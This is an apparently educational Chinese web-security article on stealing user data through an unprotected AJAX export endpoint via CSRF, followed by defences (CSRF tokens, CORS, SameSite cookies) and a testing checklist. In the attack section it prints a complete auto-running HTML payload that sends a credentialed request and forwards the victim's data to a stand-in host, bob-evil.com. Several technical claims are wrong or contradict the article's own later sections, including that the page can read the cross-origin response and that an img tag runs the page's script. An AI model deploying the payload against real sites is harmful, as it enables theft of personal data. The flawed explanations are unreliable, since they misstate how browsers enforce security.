正文

AJAX漏洞致数据泄露实测：攻击者如何通过未授权接口窃取用户敏感信息并防范跨站请求伪造

/0 浏览量
1010

安全警示：以下内容仅用于网络安全防御研究与教育目的。文中所述的攻击技术旨在帮助开发者和安全工程师理解漏洞原理，从而更好地加固系统。严禁在未授权的情况下对任何系统进行测试或攻击，违者将承担法律责任。

开篇：那个“看不见”的请求，泄露了谁的秘密？

2023年深秋，某知名社交平台的运营团队收到了一封匿名邮件。邮件里没有威胁，只有一张截图：一个普通用户在不知情的情况下，通过点击一个看似无害的链接，将其近三年的私信记录被打包下载到了攻击者的服务器。

更令人背脊发凉的是，这个漏洞并非来自复杂的加密破解，而是源于一个被遗忘在角落里的 AJAX 接口——/api/v1/user/export_data。这个接口本应只对登录用户开放，但由于后端开发人员错误地将其放在了未鉴权的路由组中，且没有实施严格的跨站请求伪造（CSRF）保护，导致它变成了一个透明的“数据后门”。

我是Agnes，一名深耕Web安全领域多年的专家。今天，我不想用枯燥的教科书语言来告诉你“CSRF很危险”，而是想带你走进一场真实的“红蓝对抗”现场。我们将拆解攻击者的思维链路，看他们如何利用AJAX的“便捷”特性，绕过防御，窃取敏感信息，并教你如何构建一道坚不可摧的防线。

第一阶段： recon（侦察）—— 攻击者如何找到那扇门？

在大多数人的印象中，攻击者像是黑客电影里的天才，在键盘上飞舞，瞬间破解防火墙。但现实往往是枯燥的。攻击的第一步，不是攻击，而是观察。

1. 抓包分析：监听网络的“心跳”

让我们模拟一个场景。用户Alice正在浏览一个存在漏洞的电商网站。攻击者Bob并没有直接去撞门，而是潜伏在Alice的浏览器和网络之间（例如，通过中间人攻击，或者更常见的是，诱导Alice点击恶意链接，在Bob控制的服务器上监听返回的数据）。

Bob打开浏览器的开发者工具（F12），切换到 Network（网络） 标签页，勾选 Preserve log（保留日志）。他开始正常浏览网站：搜索商品、查看详情、加入购物车。

突然，他发现了一个特殊的请求：

POST /api/v1/user/export_data HTTP/1.1
Host: www.example-shop.com
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

{
  "format": "json",
  "include_orders": true,
  "include_addresses": true
}

这个请求没有附带任何传统的表单数据（Form Data），而是通过JSON Body发送。更重要的是，它使用了 X-Requested-With: XMLHttpRequest 头，这是AJAX请求的典型特征。

关键点：Bob注意到，这个请求 没有携带CSRF Token。在现代Web应用中，状态改变的操作（如导出、删除、转账）通常需要CSRF Token。但Bob发现，这个 export_data 接口似乎完全忽略了Token验证，或者后端代码中有一段逻辑错误地跳过了验证。

2. 重构接口：从“只读”到“任意读”

如果Bob只是看到了这个接口，他还不能确定它是否真的可利用。他需要进一步测试。他尝试修改请求参数，看看能否获取非当前用户的数据。

他构造了一个Payload，尝试将 user_id 字段改为其他用户的ID：

{
  "user_id": "10086",
  "format": "json"
}

如果服务器返回的是用户10086的数据，而Bob自己根本不是10086，那么这就不仅仅是一个CSRF漏洞，而是一个越权访问（IDOR）漏洞。但在大多数案例中，攻击者发现，只要用户已登录，接口就会返回当前登录用户的数据，无需指定user_id。这意味着，任何已登录的用户都可以被诱导执行这个请求。

第二阶段： Exploitation（利用）—— 无声的窃取

现在，Bob知道了大门的存在，接下来就是如何“推门”而入。他不需要欺骗Alice输入密码，也不需要破解她的Session。他只需要让Alice在不知情的情况下，替他自己发送一个请求。

这就是CSRF（跨站请求伪造）的经典玩法：“借刀杀人”。

1. 构造恶意页面

Bob在自己的服务器上创建了一个简单的HTML页面 evil.html。这个页面的内容如下：

<!DOCTYPE html>
<html>
<head>
    <title>恭喜你获得了免费大奖！</title>
    <script>
        window.onload = function() {
            // 构造AJAX请求
            var xhr = new XMLHttpRequest();
            xhr.open('POST', 'https://www.example-shop.com/api/v1/user/export_data', true);
            xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');
            xhr.withCredentials = true; // 关键：携带Cookie（Session ID）

            var data = JSON.stringify({
                "format": "json"
            });

            xhr.onload = function() {
                if (xhr.status === 200) {
                    // 将窃取的数据发送到攻击者的服务器
                    var collector = new XMLHttpRequest();
                    collector.open('GET', 'https://bob-evil.com/collect?data=' + encodeURIComponent(xhr.responseText), true);
                    collector.send();
                }
            };

            xhr.send(data);
        };
    </script>
</head>
<body>
    <h1>点击这里领取你的iPhone 15！</h1>
    <!-- 页面设计得非常诱人，诱导用户点击，甚至不需要点击，因为JS自动执行 -->
</body>
</html>

代码解析：

  • xhr.withCredentials = true;：这是关键。默认情况下，跨域AJAX请求不会携带Cookie。但这个设置允许请求携带当前域的Cookie（即Alice的Session ID）。
  • window.onload：确保页面加载完成后立即执行，Alice甚至不需要点击任何东西。
  • encodeURIComponent(xhr.responseText)：将窃取的数据编码后附加到URL中，发送到Bob的服务器 bob-evil.com。

2. 社会工程学：诱骗受害者

Bob怎么让Alice访问这个页面？他可以通过邮件、社交媒体私信，或者在一个热门论坛上发帖：

“我发现了一个电商网站的漏洞，可以免费领iPhone，链接在这里：[evil.html]”

或者更隐蔽一点，将恶意代码嵌入到一个正常的文章中，使用 <img src="https://bob-evil.com/evil.html"> 或 <iframe> 嵌入。当Alice点击链接或浏览网页时，她的浏览器会自动加载 evil.html，执行其中的JavaScript代码。

3. 数据落地

此时，Alice的浏览器会向 www.example-shop.com 发送POST请求，携带Alice的Session Cookie。由于后端未验证CSRF Token，服务器认为这是Alice本人的合法请求，于是执行数据导出，并将结果返回给Alice的浏览器。紧接着，恶意JS将数据转发给Bob。

Bob在 bob-evil.com 的日志中看到了Alice的完整订单历史、收货地址、联系方式甚至支付记录。

这就是AJAX漏洞致数据泄露的全过程：无感、快速、高效。

第三阶段： 深入剖析——为什么AJAX特别“危险”？

你可能会问，传统的表单提交不是也能做CSRF吗？为什么AJAX变得如此猖獗？

1. 异步与静默

传统的CSRF攻击可能需要用户点击一个链接，跳转到一个恶意表单页面，然后点击“提交”按钮。这个过程有明显的交互，用户可能会察觉到异常。

而AJAX攻击是完全静默的。在后台线程中完成请求，页面内容可以保持不变，甚至显示一个正常的“加载中”动画。用户几乎没有任何感知。

2. 复杂的 Payload 结构

AJAX允许发送复杂的JSON、XML等结构化数据，而不仅仅是简单的表单键值对。这使得攻击者可以轻易构造出符合后端API预期的复杂Payload，比如嵌套的对象、数组等，从而触发更多的业务逻辑漏洞。

3. withCredentials 的陷阱

现代前端开发中，为了支持跨域请求携带Cookie，开发者经常使用 withCredentials = true。如果后端没有正确配置CORS（跨域资源共享）策略，或者前端错误地信任了任意来源的请求，这将成为攻击者的金钥匙。

第四阶段： 防御之道——构建多层防护体系

了解了攻击者的手段，我们该如何保护自己？记住，没有任何单一的技术可以100%防御CSRF，我们需要的是纵深防御（Defense in Depth）。

1. 实施同步令牌（Synchronizer Token Pattern）

这是目前最主流、最有效的CSRF防御机制。

原理：服务器在生成页面时，生成一个唯一的、随机的CSRF Token，并将其嵌入到表单或AJAX请求的隐藏字段/Header中。当用户提交请求时，服务器验证请求中的Token是否与Session中存储的Token一致。

代码示例（Node.js + Express）：

后端生成Token并验证：

const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

// 应用中间件
app.use(csrfProtection);

// 提供Token给前端
app.get('/api/csrf-token', (req, res) => {
    res.json({ csrfToken: req.csrfToken() });
});

// 受保护的路由
app.post('/api/v1/user/export_data', csrfProtection, (req, res) => {
    // req.csrfToken() 已经被验证
    const userData = req.user.exportData();
    res.json(userData);
});

前端发送请求时，必须携带Token：

// 先获取Token
fetch('/api/csrf-token')
    .then(response => response.json())
    .then(data => {
        const token = data.csrfToken;
        
        // 发送请求，将Token放入Header
        fetch('https://www.example-shop.com/api/v1/user/export_data', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'X-CSRF-Token': token // 关键：携带Token
            },
            credentials: 'include', // 携带Cookie
            body: JSON.stringify({ format: 'json' })
        })
        .then(response => response.json())
        .then(data => console.log(data));
    });

为什么有效？ 攻击者无法预测或生成合法的CSRF Token，因为Token是服务器端随机生成并与Session绑定的。即使攻击者诱导用户发送请求，请求中也不包含有效的Token，服务器会拒绝该请求。

2. 检查自定义请求头（Custom Header Check）

浏览器在同源策略下，不允许JavaScript读取跨域响应（除非CORS允许）。但浏览器允许JavaScript向跨域发送带有自定义头的请求。

如果后端强制要求请求必须包含特定的自定义Header（如 X-Requested-With: XMLHttpRequest 或 X-CSRF-Token），那么攻击者在构造恶意页面时，虽然可以发送请求，但无法读取响应数据（因为跨域限制）。然而，这并不能完全防止CSRF，因为攻击者仍然可以发起请求，造成数据泄露或状态变更。所以，这只能作为辅助手段，不能替代Token验证。

3. 严格的CORS配置

CORS是浏览器的一种安全机制，用于限制跨域请求。正确配置CORS可以阻止恶意网站读取你的API响应。

最佳实践：

  • 不要使用 Access-Control-Allow-Origin: *（允许所有来源）。
  • 明确指定允许的源（Origin）：Access-Control-Allow-Origin: https://your-domain.com。
  • 如果确实需要携带Cookie，配合使用 Access-Control-Allow-Credentials: true，并必须同时指定具体的源，不能是 *。

示例（Nginx配置）：

location /api/ {
    add_header 'Access-Control-Allow-Origin' 'https://your-domain.com';
    add_header 'Access-Control-Allow-Credentials' 'true';
    add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS';
    add_header 'Access-Control-Allow-Headers' 'Content-Type, X-CSRF-Token';
    
    if ($request_method = 'OPTIONS') {
        return 204;
    }
    
    proxy_pass http://backend;
}

注意：CORS主要保护的是数据不被跨域读取，但它不能防止CSRF攻击本身（即防止恶意请求被服务器接受）。因此，CORS应与CSRF Token结合使用。

4. 实施 SameSite Cookie 属性

SameSite 是Cookie的一个属性，用于限制Cookie在跨域请求中是否被发送。

  • SameSite=Strict：Cookie在任何跨域请求中都不发送。这是最安全的，但可能会影响用户体验（如通过第三方链接登录）。
  • SameSite=Lax：Cookie在顶级导航（如用户点击链接跳转）时发送，但在跨域子请求（如IMG、IFRAME、AJAX）中不发送。这是现代浏览器的默认值，也是推荐的平衡方案。
  • SameSite=None：Cookie在所有跨域请求中发送，但必须同时设置 Secure 标志（即仅通过HTTPS发送）。

代码示例（设置Cookie）：

res.cookie('session_id', 'abc123', {
    httpOnly: true,      // 防止JS读取Cookie
    secure: true,        // 仅HTTPS传输
    sameSite: 'Lax'      // 限制跨域携带
});

通过设置 SameSite=Lax 或 Strict，即使攻击者构造了恶意页面，浏览器在发送AJAX请求时也不会携带Cookie，从而使得CSRF攻击失效。

5. 用户行为教育与二次确认

对于敏感操作（如导出大量数据、修改密码、转账），除了技术防护，还应要求用户进行二次确认（如输入密码、验证码、或生物识别）。这可以显著增加攻击者的难度，并在攻击发生时给用户一个止损的机会。

第五阶段： 实战演练——如何检测你的系统是否存在AJAX CSRF漏洞？

作为安全工程师，你如何快速检测系统是否存在此类漏洞？以下是一个简化的测试流程：

工具准备

  • Burp Suite（代理抓包工具）
  • 一个可控制的测试用户账号

测试步骤

  1. 识别敏感AJAX接口：

    • 使用Burp Suite代理流量，浏览系统，记录所有涉及敏感操作（数据导出、修改、删除）的AJAX请求。
    • 重点关注 POST 请求，尤其是那些没有CSRF Token的请求。

  2. 检查Token验证：

    • 提取一个敏感请求的完整报文。
    • 尝试删除或修改请求中的任何Token字段（如果有的话），重放请求。如果服务器仍然接受请求，则存在CSRF漏洞。
    • 如果没有Token字段，直接重放请求。如果成功，则存在严重漏洞。

  3. 构造POC（概念验证）：

    • 创建一个简单的HTML页面，使用JavaScript构造相同的请求。
    • 确保页面使用 withCredentials = true 和 credentials: 'include'。
    • 在用户已登录的状态下，诱导用户访问该页面。
    • 检查服务器日志或数据库，确认敏感操作是否被执行。

  4. 验证CORS配置：

    • 尝试从不同的域（如 http://evil.com）发送请求，观察浏览器是否阻止了请求，以及服务器返回的响应头是否包含正确的 Access-Control-Allow-Origin。

结语：安全是一场永无止境的博弈

回到开篇的故事，该社交平台在收到邮件后，立即成立了应急响应小组。他们通过日志审计，定位到了被泄露的用户，并向受影响的用户发送了道歉和补偿。同时，他们对所有API接口进行了全面的CSRF防护改造，引入了强制性的CSRF Token验证，并启用了 SameSite=Strict 的Cookie策略。

AJAX技术的普及，让Web应用变得更加流畅和高效，但同时也引入了新的安全风险。攻击者总是能找到防御体系的缝隙。因此，作为开发者，我们不能仅仅依赖于“默认安全”，而应该秉持“零信任”原则，对每一个请求都进行严格的验证。

记住：

  • CSRF Token 是防御CSRF的基石。
  • CORS 是保护数据不被跨域读取的重要屏障。
  • SameSite Cookie 是浏览器层面的最后一道防线。
  • 最小权限原则 和 二次确认 是用户数据安全的最后保障。

希望这篇文章能让你对AJAX漏洞和CSRF攻击有更深刻的理解。在安全的道路上，没有终点，只有不断的学习和进化。如果你有任何疑问或想法，欢迎在评论区与我交流。让我们一起，为Web世界筑起更坚固的防线。

-- 展开阅读全文 --